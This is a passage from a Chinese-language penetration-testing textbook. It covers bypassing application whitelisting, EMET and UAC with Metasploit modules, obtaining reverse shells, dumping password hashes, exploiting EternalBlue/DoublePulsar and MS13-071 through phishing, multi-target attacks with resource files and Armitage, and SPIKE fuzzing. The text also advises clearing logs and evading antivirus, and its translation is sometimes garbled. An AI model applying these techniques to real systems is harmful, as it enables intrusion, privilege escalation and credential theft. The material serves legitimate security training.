10.3.2　攻击应用程序白名单

渗透测试人员可能会注意到很多企业制订的严格政策，只有某些类型的应用白名单才允许在用户级别执行。

Metasploit模块exploit/windows/misc/regsvr32_applocker_bypass_server可以被渗透测试人员利用，该模块可以绕过这些组织使用的应用白名单技术。在默认情况下，此模块包括Windows Meterpreter reverse TCP载荷。一旦所有需要的信息，如LHOST、LPORT和URIPATH（如果没有设置将会是随机的）更新到漏洞利用，就可以简单地发动攻击，如图10.23所示。
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图10.23　发动攻击

在另一个受害者身上，该命令必须成功运行才能获得反向（reverse）TCP shell，如图10.24所示。
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图10.24　运行成功，获得反向TCP shell

你可以自己编写代码来检查JavaScript或HTML文件。以下代码非常简单地绕过JavaScript：
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上面的代码可以从JavaScript运行前面的有效负载，从而向攻击者提供来自目标的反向shell。另一种绕过应用白名单的简单方法是检查Internet Explorer是否允许在其进程内运行任何其他程序。在下面的例子中，我们将尝试通过Internet Explorer运行VBScript。下面的代码行只是通过wscript shell调用特定的DLL文件scrobj.dll，检查对象是否可以在Internet Explorer中创建或不被创建，从而利用Internet Explorer中的漏洞。
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然而，这并不被认为是一种隐秘模式，因为它需要触发用户的交互安全警告，如图10.25所示。
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图10.25　触发安全警告


10.4　绕过Windows特定的操作系统控制

在每个企业环境中，我们看到为用户提供的所有端点都在Windows操作系统上。使用Windows的可能性总是很高的。在本节中，我们将重点讨论一些特定的操作系统安全控制，以及如何绕过它们，顺利对端点进行访问。


10.4.1　增强迁移体验工具

增强迁移体验工具（EMET）是一个额外的安全缓解项目/层，是微软为客户提供的、操作系统内置工具之外的工具。EMET作为一个动态链接库（DLL）在一个受保护的程序中运行，目标是使漏洞利用更加困难。然而，微软在2016年宣布，它将终结EMET，这意味着版本5.5是最后的版本了。表10.1提供了微软发布的、不同的EMET版本；然而，攻击者总是能找到一种绕过这种迁移的新方法。

表10.1　微软发布的、不同的EMET版本
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最新的漏洞利用工具包Angler有特殊的技术躲避EMET保护。在某种程度上，Silverlight JIT（Just In Time）的控制代码转移被用来运行一个专门在flash中躲避EAF+的shell代码。

所有在EMET上执行的操作都依赖于支持软件的版本和支持操作系统的功能。例如，Internet Explorer启用了Java、Oracle或Silverlight插件。有效载荷通常比MSF小，更容易绕过EMET保护。

互联网上一个可用的公开的漏洞可以绕过EMET 5.1，可以到https://www.exploit-db.com/exp loits/35273/
 下载，到https://www.exploit-db.com/exploits/33944/
 可以下载针对EMET 4.1的漏洞。

图10.26提供了在Windows 7上使用Internet Explorer 8的EMET 5.1。而且，大部分的系统都是兼容于Wow64的。
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图10.26　使用EMET5.1

我们并没有过多关注微软关于EMET的最后声明；不过，微软仍将支持延长至2018年7月。


10.4.2　用户账户控制（UAC）

在Windows Vista以及更高的版本中，微软引进了安全控制策略，从高、中、低三个不同的完整性级别上来控制运行进程。一个高等级别的进程具有管理员权限，一个中等级别的进程拥有一个基本用户的权限，一个低级别的进程的权限是受限的，这样可以保证当系统受到威胁时，被击垮的程序带来的损害是最小的。

要执行任何特权操作，程序必须以管理员的身份运行，并且符合UAC的设置。UAC有以下4个设置要求：

·始终通知（Always notify）：这是最严格的设置，在任何时刻，有程序要使用更高级别权限时，它都会提示本地用户。

·仅在程序试图更改我的计算机时通知我（Notify me only when programs try to make changes to my computer）：这是UAC的默认设置。当本地的Windows程序请求更高级别权限时，不通知用户。但是，如果第三方程序要求提升权限，它会提示。

·只有当程序试图更改我的计算机时通知我（不降低桌面的亮度）（Notify me only when programs try to make changes to my computer（don’t dim my desktop））：这与默认设置相同，但当提示用户时不降低系统监视器的亮度。

·从不提示（Never notify）：此选项将恢复系统到Vista以前的版本。如果该用户是管理员，所有的程序将以高度完整性运行。

因此，在渗透完成之后，测试者（与攻击者）需要知道以下两件事：

·哪个用户是系统已经识别的用户？

·在该系统中，这些用户具有什么权限？

这些可以通过下面这个命令来获得：
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一个被入侵的系统可操作的内容是非常完整的，由Mandatory Label\High Mandatory Level Label展示的内容如图10.27所示。

如果这个Label是Mandatory Label\Medium Mandatory Level，为了更多后期利用步骤的成功，测试人员需要将用户权限从标准用户提升到管理员权限。

提升权限的第一种方法是使用Metasploit框架，在其上运行exploit/windows/local/ask命令，它将发起RunAs攻击。这个攻击可以创建一个可执行文件，当它被触发时，会运行一个发起提升权限请求的程序。为了避免被本地的杀毒软件检测到，这个可执行文件的创建要使用EXE：：Custom选项或Veil-Evasion进行加密。
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图10.27　使用C：\>whoami/groups获得信息

RunAs攻击的缺点是，当程序企图修改计算机设置时，系统会对用户发出提醒。此警报可能会导致权限提升被认定为攻击。如图10.28所示。
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图10.28　系统的警告

如果系统当前的用户是在管理员组，同时用户账户控制程序UAC设置为默认，即仅在程序试图更改我的计算机时通知我（如果设置为始终通知，就可以避免），攻击者就可以使用Metasploit exploit/windows/local/bypassuac模块来提升其特权。

在图10.29中，我们可以看到IP 192.168.0.119已经被成功地入侵，并且在8443上有一个HTTPS的反向shell连接到我们的攻击者IP 192.168.0.120。
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图10.29　一个入侵地址与攻击者地址连接

为了确保你能够完全控制远程机器，必须要获得管理级别的权限。攻击者通常利用getsystem将他们当前的能力升级到系统级别。

通常，如果该漏洞在用户的上下文中获得成功，我们可能会收到来自meterpreter会话的错误消息，如图10.30所示。
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图10.30　收到的错误信息

bypassuac模块会在目标系统上创建多个工件，它们可以被大多数杀毒软件识别。现在，让我们使用Windows本地漏洞来绕过UAC，如图10.31所示。
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图10.31　绕过UAC

一旦会话被设置为一个活动会话，攻击者将可以绕过Windows操作系统的UAC设置，如图10.32所示。
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图10.32　绕过UAC设置

一次成功的绕过将为攻击者提供另一个带有系统级特权的meterpreter会话，如图10.33所示。

然而，exploit/windows/local/bypassuac_inject模块直接运行在内存中的反射DLL中，由于它不触碰硬盘，最大限度地降低了被杀毒软件检测到的概率。

试图绕过UAC控制时的一些注意事项如下：

·Windows 8和Windows 10仍然很容易受到这种攻击。如果有人尝试攻击，在攻击者提高权限前，用户会被提示点击确定按钮，很难做到隐身攻击。攻击者可以选择使用exploit/windows/local/ask提高攻击的成功率。
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图10.33　带有系统级特权的meterpreter会话

·考虑到系统到系统的移动（水平/横向升级），如果当前用户是具有其他系统本地管理员权限的域用户，可以使用现有的身份验证令牌来获取访问并绕过UAC。一种常见的攻击是使用Metasploit的exploit/windows/local/current_user_psexec模块实现。


10.4.3　其他Windows特定的操作系统控制

Windows特定的操作系统控制可以进一步分为以下五个不同的类别：

1）访问和授权。

2）加密。

3）系统安全。

4）通信安全。

5）审计和日志记录。

1.访问和授权

大多数的漏洞利用都是在安全控制的访问和授权部分执行的，目的是获得对系统的访问和执行未经授权的活动。一些具体的控制措施是：

·添加用户访问凭据管理器（Credential Manager），这将允许用户以可信的调用者的身份创建应用程序。作为回报，该账户可以在同一系统上获取另一个用户的凭证。

作为一个凭据管理器的例子，该系统的用户将他的个人信息添加到通用凭证（Generic Credentials）部分，如图10.34所示。

·通过基于云计算的账户登录；在默认情况下，一些Windows操作系统允许使用微软账户。
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图10.34　添加凭证

·不要忘记遗留系统中的客户账户，以及被用作服务账户来运行预定作业和其他服务的锁定账户。

·打印驱动程序的安装可以帮助攻击者绕过机器上设置的安全控制。攻击者可以将驱动程序的安装替换为恶意的可执行文件，从而为系统提供一个持久的后门。

·匿名安全识别（Security Identification）、命名管道、SAM账户的枚举，这些控制既可以应用于使系统连接到通过域的网络，也可以作为单独安全设置。

·远程访问注册表路径和子路径。

2.加密

Microsoft Windows所采用的加密技术通常使用在密码存储、NTLM会话和安全通道数据上。

攻击者能成功地绕过加密，大多数要么是利用较弱的密码套件，要么是禁用该功能本身。

3.系统安全

系统级安全性主要是围绕本地系统级漏洞利用和可以绕过的控制：

·时区同步——在大多数组织中，所有的端点都将与它们的主域同步时间；这为攻击者提供了一个机会，使他们可以废弃证据或追踪漏洞。

·页面文件创建，在内存中锁定页面并创建令牌对象——一些令牌对象和页面文件在系统级运行。其中一个经典的攻击是休眠文件攻击。

·渗透测试人员首先需要考虑的一件事是：当他们使用本地管理员权限获得目标系统访问时，为了验证他们自己对域的控制，他们升级特权，将用户添加到域，创建全局对象，创建符号链接；而这些需要对域的全面访问。

·加载和卸载设备驱动程序并设置固件环境值。

·为所有系统用户启用自动管理登录。

4.通信安全

通常，在通信安全中，大多数的附加网络设备都是必备的，但是，对于Windows系统而言，数字签名证书和服务原则名称（Service Principle Name SPN）服务器目标名称验证，将是渗透测试人员可以利用来开发自定义漏洞利用工具的重要手段。

5.审计和日志记录

Windows的大多数默认配置控制都是在系统启用日志中。

以下是任何组织都可以启用的日志列表，可以在事故/法庭分析中利用这些信息：

·证书验证

·计算机账户管理

·分配组管理

·其他账户管理级别

·安全组管理

·用户账户管理

·进程创建

·指令服务访问和更改

·账户锁定/注销/登录/特殊登录

·可移动存储

·策略更改

·安全状态变换

本节提供了一个清晰的回顾，即渗透测试人员必须考虑在我们的杀链方法的后期利用阶段，要清除哪些类型的日志。


10.5　小结

在本章中，我们深入探讨了克服组织内部保护的一部分——安全控制的系统过程。我们关注的是不同类型的网络访问控制绕过机制，如何利用隧道建立连接，绕过防火墙，并在网络、应用程序和操作系统控制的各个层面上学习，以确保我们能够成功地到达目标系统。此外，我们还回顾了如何利用veil-evasion和Shellter工具来绕过反病毒检测。我们还看到了使用Metasploit框架规避不同的Windows操作系统安全控制的方法，如EMET、UAC、应用白名单，以及其他的活动目录特别控制。

在下一章中，我们将研究各种漏洞利用系统方法，包括公共漏洞利用、利用Metasploit框架，以及渗透测试人员开发的基于Windows的漏洞利用技术。


第11章　漏洞利用

“愉快的漏洞利用的可能性取决于你如何去做。”

传统上，渗透测试的倒数第二个要点是利用数据系统获取凭证，或者直接访问感兴趣的数据。正是利用了渗透测试的意义，定义了它与渗透测试的相关性。在本章中，我们将研究各种利用系统的方法，包括公共漏洞利用和可用的漏洞开发框架。到本章的结尾，你应该能够探索：

·Metasploit框架

·使用Metasploit和Armitage的目标漏洞利用

·使用公开的漏洞

·开发Windows特有漏洞的示例


11.1　Metasploit框架

Metasploit框架（Metasploit Framework，MSF）是一个开源工具，旨在便利渗透测试。用Ruby语言编写，它采用了模块化的方法来完成渗透测试。这使得它易于扩展和编写代码，而且可以更容易实现复杂的攻击。

图11.1是Metasploit框架体系结构和组成。

这个框架可以分成三个主要部分：

·库

·接口

·模块
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图11.1　Metasploit框架体系结构和组成


11.1.1　库

Metasploit框架是使用各种函数、库，以及像Ruby这样的编程语言构建的。要实现这些功能，首先，渗透测试人员必须了解这些函数是什么，如何触发它们，哪些参数应该传递给函数，以及期望的结果是什么。

所有的库都在/usr/share/metasploit-framework/lib/文件夹中列出，如图11.2所示：
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图11.2　所有库的列表

1.REX

REX是一个包含在Metasploit中的库，最初是由Jackob Hanmack开发的，后来成为Rapid 7开发团队的正式产品。这个库提供了用于漏洞利用的各种类。在现在的Metasploit框架中，REX处理所有核心功能，如套接字连接、原始函数和其他的重新格式化。

2.框架–核心

这个库位于/usr/share/metasploit-framework/lib/msf/core中，它为所有要编写的新模块提供基本的应用程序编程接口（Application Programming Interface，API）。

3.框架–基础

这个库为会话、shell、meterpreter、VNC，以及其他缺省API的，但是又依赖于框架核心库内容，提供合适的API。

作为部分Metasploit框架的其他扩展部分，包括定制的插件、协议工具、安全工具、Web服务和其他可以被利用的集成服务。


11.1.2　接口

MSF曾有多个接口，如CLI、Web等。在最新版本（社区版和专业版）中，所有的界面都被Rapid 7开发团队抛弃了。我们将在本章中探索控制台和GUI（Armitage）界面。控制台接口是最快的，因为它提供了攻击命令，并且在一个易于理解的界面提供了所需的配置参数。

要访问该界面，需要在命令提示中输入msfconsole，或者从下拉菜单中选择它，比如08开发工具（08Exploition Tools），图11.3显示了该应用程序启动时的界面。
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图11.3　MSF启动界面


11.1.3　模块

MSF框架由多个模块组成，这些模块组合起来可以影响一个漏洞利用。各个模块及其具体的功能如下：

·渗透模块：该代码片段针对特定漏洞。主动渗透会针对某个特定的目标进行持续性渗透，直到完成任务，然后退出（例如，缓冲区溢出）。被动渗透是指等待进入主机，如Web浏览器或FTP客户端，当它们连接时再进行渗透。

·有效载荷：这是在成功渗透后立即执行的恶意代码。

·辅助模块：这些模块不会直接在测试者和目标系统之间建立访问路径；相反，它们执行如扫描、模糊或嗅探等相关功能以支持渗透测试。

·后期模块：成功攻击目标后，这些模块运行在受损目标上，收集有用的数据，支持攻击者深入到目标网络。我们将在第5章继续学习后期模块利用。

·编码器：当渗透必须绕过杀毒防御时，这些模块对有效载荷进行编译，以使得它不会被签名匹配技术检测到。

·无操作（NOP）：这些是在攻击时用来促使缓冲区溢出的。

这些模块一起使用，用于对目标进行侦察并发动攻击。使用MSF渗透目标系统的大致步骤如下：

1）选择并配置一个漏洞利用（用于击溃目标系统上特定漏洞的代码）。

2）检查目标系统，以确定它是否容易受到漏洞利用的攻击。此步骤是可选的，通常将其省略来减少侦察步骤。

3）选择和配置有效载荷（在成功攻击后，该代码将在目标系统上执行。例如，从遭到破坏的系统恢复反向的外壳到源代码）。

4）选择一个编码技术，用其来绕过检测控制（IDs/IPs或防病毒软件）。

5）执行渗透利用。


11.1.4　数据库设置和配置

建立新版本的Metasploit是相当简单的，因为Metasploit不再作为一个服务运行。

·通过在终端中运行systemctl start postgresql启动PostgreSQL。

·通过运行msfinit来初始化Metasploit数据库；除非是第一次，否则初始化将创建数据库msf，同时创建一个角色，并在配置文件/usr/share/metasploitframework/config/database.yml中添加msf_test和msf数据库；否则，默认情况下，msf数据库将在Kali Linux的预构建中创建。

·现在准备访问msfconsole。

·你可以通过在控制台中输入db_status来验证数据库的状态，应该能够看到以下内容：
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·在不同部门（或两家不同的公司）的多个目标的情况下，在Metasploit中创建一个工作区是很好的做法。这可以通过在msfconsole中运行workspace（工作区）命令来完成。下面的摘录显示了添加或删除工作区的帮助菜单，以组织这些漏洞来实现目标：

下面的例子呈现了对目标（基于Linux操作系统Metasploitable2）的简单攻击。该工具可以在网站http://sourceforge.net/projects/metasploitable/files/Metasploitable2
 下载。Metasploitable2被设计成易攻击的，它包含各种已知并且有特征的漏洞，它提供了一个标准的、用于训练和检验渗透工具的平台。
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当作为一个虚拟机安装的时候（见附录），Metasploitable可以用nmap扫描，用于识别开放端口和相关的应用程序。图11.4显示了nmap扫描的部分结果。
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图11.4　nmap扫描的部分结果

在前面的例子中，nmap识别了几个应用程序。可以使用db_import命令将相同的nmap结果导入到Metasploit中。nmap的输出通常会产生三种类型的输出：xml、nmap和gnmap。xml格式可以使用Nmap nokogiri解析器导入到db。一旦将结果导入到db中，就可以在大型nmap数据集下使用多个选项，如图11.5所示。
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图11.5　将xml格式数据导入

作为一个测试者，我们应该逐一调查任何已知的漏洞。开始的第一步，Metasploit拥有利用的集合。可以使用以下命令行搜索：
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samba服务返回漏洞利用的列表，列表按照各个漏洞被利用成功的相对难易进行排名。

图11.6显示了使用samba扫描漏洞的部分内容。
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图11.6　使用samba扫描漏洞

因为exploit/multi/samba/usermap_script漏洞利用的排名靠前，所以剩下部分选择其作为例子。这个排名由Metasploit的开发团队确定，并注明了一个熟练的测试者如何可靠地测试一个稳定的系统的漏洞。在现实生活中，许多不确定因素（测试者的技能、网络中的保护装置、对操作系统和应用程序的修改）会对漏洞利用的可靠性产生显著影响。

有关漏洞利用的附加信息可以通过下面的命令获得：
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返回的信息包括引用，如图11.7所示。
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图11.7　漏洞利用的附加信息

为了对Metasploit进行演示，我们将通过该漏洞利用来攻击目标，命令如下：
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Metasploit将命令提示符msf>变为msf exploit（usermap_script）>。

Metasploit提示测试者选择有效载荷（例如，从遭到破坏的系统恢复的逆向外壳），同时设置其他变量，变量如下所示：

·远程主机（Remote host，RHOST）：被攻击的系统IP地址。

·远程端口（Remote port，RPORT）：用于漏洞利用的端口号。

·本地主机（Local host，LHOST）：用于发动攻击的系统IP地址。

设置完所有参数变量后，在命令提示符下输入渗透利用命令，发动攻击。Metasploit发起攻击，然后确认一个逆向shell已经由命令command shell 1opened启动，给出源IP地址，最后终止逆向shell。

为了验证shell是存在的，测试者针对主机名、用户名（uname-a）和whoami进行询问、查询，并确定结果是否与远程目标系统相对应，参见图11.8。
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图11.8　验证shell

此漏洞可以通过使用后利用模块来进一步探讨。在后台按下组合键Ctrl+Z运行Meterpreter，你应该收到Background session 1？[y/N]y；输入y，接着是使用后利用模块post/linux/gather/hashdump，并将会话设置为1。

这个模块的输出应该公开所有用户名和密码散列，如图11.9所示：
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图11.9　公开用户名与密码散列

此外，为了存储网络中增强横向移动的信息，测试人员可以在msfconsole中使用loot命令。在入侵的单个系统或多个系统中，Meterpreter中的loot命令将所有密码散列和账户信息导出到一个本地数据库中。

当一个系统被入侵到这种程度时，它已经为进行后期漏洞利用活动做好准备（参见第12章和第14章升级权限以及保持对系统的访问）。


11.2　利用MSF开发目标

Metasploit框架针对第三方应用程序的漏洞攻击效果，等同于对操作系统的漏洞攻击效果。我们将看两个场景的示例。


11.2.1　使用简单反向shell攻击单个目标

在这个例子中，我们将利用一个名为DoublePulsar的缓冲区溢出漏洞，针对那些脆弱的系统，特别是有EternalBlue漏洞的系统，Wannacry勒索软件在2017年4月震撼了世界。该漏洞存在于以Windows方式实现的SMB版中，特别是在TCP端口445和端口139上的SMBv1和NBT，它以一种不安全的方式共享数据。在系统用户的环境下，漏洞的结果是导致任意的代码都可以执行。

为了发起攻击，首先应打开msfconsole，并让Metasploit工作，如图11.10所示。
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图11.10　打开msfconsole的截图

这个漏洞是相对简单的。它要求测试人员设置一个反向shell（reverse_tcp），从被击垮的系统回到攻击者的系统，即本地主机LHOST。

当利用完成时，它会打开两个系统之间的meterpreter反向shell。meterpreter提示会话将被打开，测试人员可以使用命令shell有效地访问远程系统。入侵后的第一步是验证你是否在目标系统上。正如你在图11.11中所看到的，sysinfo命令识别计算机名称和操作系统，验证成功的攻击。
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图11.11　使用sysinfo验证成功的攻击


11.2.2　利用具有PowerShell攻击向量的反向shell攻击单个目标

在本节中，我们将举一个类似的漏洞利用例子，例如DoublePulsar通过SMB，在屏幕保护程序路径的处理中存在漏洞，可以使用任意路径作为屏幕保护程序的路径。这允许攻击者运行远程执行代码。如果受害者离开计算机，屏幕保护程序被设置为运行，也就是说，Windows试图定期访问屏幕保护程序，同样的漏洞每次都会被运行。

我们将使用ms13_071_theme，最初只影响Windows XP和Windows 2003。不过，它仍然适用于Windows 7和Windows 2008。现在，让我们为Metasploit装备所有必需的信息，如有PAYLOAD、LHOST和LPORT，这些信息已经填充并准备好利用，如图11.12所示。
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图11.12　Metasploit装备信息

在这个漏洞利用中，我们将为ReverShell使用PowerShell攻击向量，因此我们将使用有效载荷windows/powershell_reverse_tcp。

下一步是让受害者通过SMB来打开链接；这意味着漏洞利用可能是网络钓鱼或其他社会工程技术。一旦受害者打开链接，一些用户可能会收到如图11.13所示的警告。
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图11.13　一些用户收到的警告

因此，对于渗透测试人员来说，建议签署.scr文件作为一个合法的内部用户；下一步，当用户点击Run时，就是这样。

这就用PowerShell为攻击者打开了一个ReverseShell，如图11.14所示，这允许攻击者在受害者系统上运行PowerShell命令，并将特权升级到域级。
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图11.14　在受害者系统上运行PowerShell命令


11.3　使用MSF资源文件的多目标渗透

MSF资源文件基本上是行分隔的文本文件，其中包括需要在msfconsole中执行的一系列命令。我们来创建一个可以在多个主机上利用相同漏洞的资源文件：
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将文件保存为doublepulsar.rc，现在已经准备好通过运行msfconsole–r filename.rc来调用资源文件，-r指的是资源文件。前面的资源文件将按顺序利用相同的漏洞。一旦第一个漏洞利用完成，专门的exploit-j将把正在运行的漏洞转移到后台，允许下一个漏洞利用继续进行。一旦所有目标的利用都完成了，我们在Metasploit中就能看到多个meterpreter shell。

如果该漏洞被设计为只在一个主机上运行，则不可能进入多个主机或IP范围。但是，另一种方法是在每个主机上使用不同的LPORT号码来运行相同的利用。我们将讨论更多关于已存在的MSF资源文件的问题，这些文件可以在下一章中逐步升级特权时使用。


11.4　使用Armitage的多目标渗透

Armitage经常被渗透测试者忽视，由于测试者喜欢Metasploit控制台的传统命令行输入，而避开Armitage的图形界面。然而，Armitage在可视化选项的环境下，拥有Metasploit的功能，使其成为在复杂测试环境下的一个绝传选择。不与Metasploit不同，它允许你在同一时间测试多个目标，上限为512个。

启动Armitage，并确保已启动数据库和Metasploit服务，使用以下命令：
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完成上一步之后，在命令提示符下输入armitage，并执行该命令。Armitage并不总是能正常执行，它可能需要重复启动的步骤，以确保它在正确运行。

为了发现可用的目标，你可以手动提供IP地址增加主机，或选择菜单栏上的nmap扫描添加主机。Armitage还可以使用MSF辅助命令或DNS枚举来列举目标。

Armitage可以从下列文件获得主机的数据：Acunetix、amap、AppScan、Burp proxy、Foundstone、Microsoft Baseline Security Analyzer、Nessus NBE和XML files、NetSparker、NeXpose、nmap、OpenVas、Qualys，以及Retina。Armitage启始界面如图11.15所示。
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图11.15　Armitage启始界面

Armitage允许通过右击选择一个主机，设置该主机的标签，然后选择一个主机（host）菜单，并且选择设置标签（set Label）功能。这允许你使用一个共同的名字来标记某个特定的地址或确认主机，当使用基于团队的测试时，这是很有帮助的。这个过程如图11.16所示。
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图11.16　设置主机标签

Armitage还支持动态工作空间——网络的筛选视图，可以将网络标准、操作系统、开放的端口和服务、标签等作为筛选的条件。例如，你可以测试一个网络，并确定几个服务器，但是不出现该网络的其他剩余内容。给它们一个标签，让这些内容能够突出显示，然后将它们放置在一个优先级的工作空间中。

一旦在网络上确定了目标系统，就可以选择特定的模块作为实现漏洞利用过程的一部分。你还可以使用菜单栏中的攻击（Attacks）选项来查找攻击方法。

右击所利用主机，点击攻击（Attacks）菜单，选择一个漏洞（确保设置正确的主机操作系统，这并不总是自动发生）。

一个有趣的选项是Hail Mary，位于攻击（Attacks）菜单下。通过选择这个功能，所有识别系统都会自动对漏洞目标进行攻击，以达到可能击垮目标的最大数量，如图11.17所示。
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图11.17　选择Attacks后的截图

这是一个非常嘈杂的攻击，因此应该被用来作为测试选择的最后手段。这也是一个很好的方式，用来确定是否安装好了入侵检测系统，并且配置正确！

被击垮的系统显示为一个带电火花的红色边界图标。在图11.17中，两个测试系统已经被击垮，在这些系统和测试者之间有四个活动会话。活动会话（Active Sessions）面板表示这个连接，并确定了哪些漏洞会成为攻击目标。图11.18代表了不同的选择。
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图11.18　被攻击主机与测试者之间的活动会话

在渗透测试进行的过程中，Hail Mary选择确定了目标的两个可利用的漏洞，并且启动了两个活动会话。手工测试同一目标，最终确定了8个可利用的漏洞，在被击垮的系统和测试之间建立了多条通信通道。在真实世界这种类型的测试强化了这种类型的优点，并且强化了在渗透测试过程中使用自动化工具的弱点。


11.5　使用公开的漏洞

所有的攻击者都用自己的眼睛在最大范围内寻找公共漏洞，并根据他们的要求对其进行修改。在2017年4月14日，最新的攻击EternalBlue震撼了整个互联网世界，让人们意识到什么是勒索软件。自然，在本节中，我们将深入探讨如何利用已知的漏洞利用论坛，以及如何将它们加入到我们的Kali Linux中。


11.5.1　定位和验证公开可用的漏洞

通常情况下，渗透测试人员在测试中发现了0-day漏洞会告知公司。然而，在真实情况下，发现的任何漏洞都将被利用，为了金钱/名誉而出售。渗透测试的一个重要方面是在互联网上找到公开可用的漏洞，并提供正确的概念证明。

因特网上诞生的最早的漏洞数据库是Milw0rm；使用相同的概念，我们可以看到多个相似的数据库，这些数据库可以被渗透测试社区使用。以下是攻击者寻找漏洞的常用地点列表：

·Exploit-DB（EDB）：名字说明它是一个数据库档案，它是互联网上的公共漏洞，以及漏洞的软件版本。EDB是由漏洞研究人员和社区的渗透测试人员发展起来的。为使其在渗透测试或红队测试中更有价值，渗透测试人员经常使用Exploit-DB作为概念的证明，而不是咨询。

作为版本的一部分，EDB嵌入到了Kali Linux 2.0中，它使得通过Searchsploit搜索所有可用的漏洞变得相当简单。EDB的优点是CVE（常见的威胁和暴露）兼容，并且无论在哪里使用，这些漏洞都将包括CVE的详细信息。

·Searchsploit FTP Windows remote：Searchsploit是Kali Linux中的一个简单实用工具，可以通过关键词搜索找到来自EDB的所有攻击，从而缩小攻击范围。打开终端并输入searchsploit后，您应该能够看到如图11.19所示的内容。
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图11.19　使用searchsploit

·SecurityFocus：SecurityFocus是另一个信息源，其中所有公开披露的漏洞都与它们的共同漏洞和曝光（Common Vulnerabilities Exposures，CVE）一起发布。

让我们到http://www.securityfocus.com/
 导航并搜索所有的漏洞。现在，攻击者应该能够看到如图11.20所示的界面，它允许渗透测试人员找到所有产品的所有漏洞。

在SecurityFocus中，所有报告的漏洞都以投标的形式存储。它包括的每个漏洞的主要部分如图11.21所示。
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图11.20　在http://www.securityfocus.com/
 寻找漏洞
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图11.21　漏洞信息

以下是在http://www.securityfocus.com/
 中漏洞时可用的选项列表：

·info：提供了漏洞和受影响平台的详细信息以及缺陷跟踪ID（bugtrack ID）。

·discussion：提供了关于报告漏洞的详细信息。

·exploit：如果有任何该公开漏洞的利用代码，那么它就可以下载。

·solution：提供最新的服务包详细信息和热修复细节。

·reference：包括所有的讨论、缺陷跟踪参考和对报告漏洞的解决方案参考。


11.5.2　编译和使用漏洞

攻击者将整理、编辑、发布所攻击的相关材料，使它们成为攻击脆弱目标的武器。在本节中，我们将深入研究不同类型的文件，并添加Ruby所写的所有代码，将msf核心作为Metasploit模块的基础。

1.编译C文件

老版本的攻击是用C语言编写的，尤其是缓冲区溢出攻击。让我们举一个从EDB编译C文件的例子，并对脆弱的Apache服务器进行攻击。

攻击者可以利用GNU编译器集合将C文件编译成可执行文件，如图11.22所示。
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图11.22　使用GNU编译C文件

2.添加Metasploit框架编写的漏洞利用作为基础

根据漏洞利用的平台和类型，从exploit-db.com或/usr/share/exploitdb中复制文件。

在这个例子中，我们将/usr/share/exploitdb/platforms/windows/remote/16756.rb作为一个自定义漏洞利用添加到Metasploit模块，如图11.23所示，并将文件移动到.msf4/modules/exploits/windows，命名为myown.rb文件。
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图11.23　复制文件

将文件移动到位置后，必须重新启动msfconsole，以确保将文件加载到Metasploit可用的模块中。你设置该模块为Metasploit模块的一部分，你可以用自定义名称来搜索该模块，如图11.24所示。
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图11.24　搜索自建模块


11.6　开发Windows漏洞

攻击者必须对汇编语言有一个准确的理解，以开发定制的攻击。在本节中，我们将介绍一些基础知识，通过构建一个我们自己的漏洞利用程序来开发Windows漏洞。

从开发的角度来看，以下是一份渗透测试人员在开发中必须理解的基本术语的列表：

·寄存器（Register）：所有的进程通过寄存器执行，它被用来存储信息。

·x86：这包括以英特尔为基础的32位系统；64位系统被表示为x64。

·汇编语言（Assembly language）：这包括一种低级的编程语言。

·缓冲区（Buffer）：这是一个程序中的静态内存持有器，它将数据存储在栈或堆的顶部。

·调试器（Debugger）：调试器是可以在执行时用来查看程序运行的程序，也可以查看注册表和内存的状态。我们将使用的工具包括免疫调试器、GDB和ollydbg。

·Shell代码（ShellCode）：这是由攻击者在成功开发中创建的代码。

以下是不同类型的寄存器：

·EAX：这是一个32位的寄存器，它被用作一个累加器，存储数据和操作数。

·EBX：这是一个32位的基础寄存器，并充当数据的指针。

·ECX：这是一个用于循环的32位寄存器。

·EDX：这是一个32位的数据寄存器，它存储一个输入/输出指针。

·ESI/EDI：这些是32位的索引寄存器，它充当所有内存操作的数据指针。

·EBP：这是一个32位的栈数据指针寄存器。

·扩展指令指针（Extended Instruction Pointer，EIP）：这是一个32位程序的计数/指令指针，它保存下一个要执行的指令。

·扩展栈指针（Extended Stack Pointers，ESP）：这是一个32位的栈指针寄存器，它精确地指出栈指向的位置。

·SS、DS、ES、CS、FS和GS：这些是16位段寄存器。

·NOP：表示没有操作。

·JMP：这代表跳转指令。


11.6.1　模糊识别漏洞

攻击者必须能够识别任何给定应用程序中正确的模糊参数，以找到漏洞并加以利用。在本节中，我们将举一个由Stephen Bradshaw创建的易受攻击的服务器的例子。这个脆弱的软件可以从http://sites.google.com/site/lupingreycorner/vulnserver.zip
 下载。

在本例中，我们将使用Windows 7作为受害者运行的一个易受攻击的服务器。

一旦下载了应用程序，我们就解压缩文件并运行这个服务器。这需要打开TCP的9999端口，连接到远程客户端，当脆弱的服务器启动并运行时，你能够看到如图11.25所示的界面。
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图11.25　有漏洞的服务器

攻击者可以通过netcat连接到端口9999上的服务器来与服务器通信，如图11.26所示。

模糊技术是一种技术，攻击者专门向目标发送错误的数据包，从而在应用程序中产生错误，或者造成一般的故障。这些故障会在应用程序中造成bug，并找出如何通过运行自己的代码来实现远程访问。现在应用程序是可访问的，设置完成后，攻击者可以开始使用模糊技术。
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图11.26　端口9999上的通信

尽管有许多模糊工具可用，但是在Kali Linux 2.0版本中，SPIKE是默认安装的。SPIKE是一个模糊工具包，通过提供脚本功能可以创建模糊工具；但它是用C语言编写的。有一组SPIKE编写的编译器可以使用：

·generic_chunked

·generic_send_tcp

·generic_send_udp

·generic_web_server_fuzz

·generic_web_server_fuzz2

·generic_listen_tcp

SPIKE允许添加自己的脚本集，而不必用C编写几百行代码。

访问应用程序的攻击者可以看到易受攻击服务器中可用的多个选项。这包括部分有效输入命令：STATS、RTIME、LTIME、SRUN、TRUN、GMON、GDOG、KSTET、GTER、HTER、LTER和KSTAN。我们将使用generic_send_tcp编译器来模糊应用程序；使用编译器的格式如下：
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以下是详细说明的参数：

·host：这是目标主机或IP。

·port：这是连接的端口号。

·spike_script：这是在编译器上运行的SPIKE脚本。

·SKIPVAR和SKIPSTR：这使测试人员能够进入SPIKE脚本中模糊会话的中间位置。

让我们继续创建一个简单的SPIKE脚本，以重新读取和运行SRUN，并分配一个字符串值作为参数：
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在连接到IP/主机名之后，读取前面三行的第一行，然后运行SRUN并随机生成一个值。现在，让我们将这个文件保存为exploitfuzzer.spk。对目标运行SPIKE脚本，如图11.27所示。

[image: ]


图11.27　运行自己编写的脚本

模糊确认没有服务器崩溃或其他任何事情，因此，SRUN的参数并没有漏洞；现在，下一步是选择另一个。这次我们将选择TRUN作为参数：
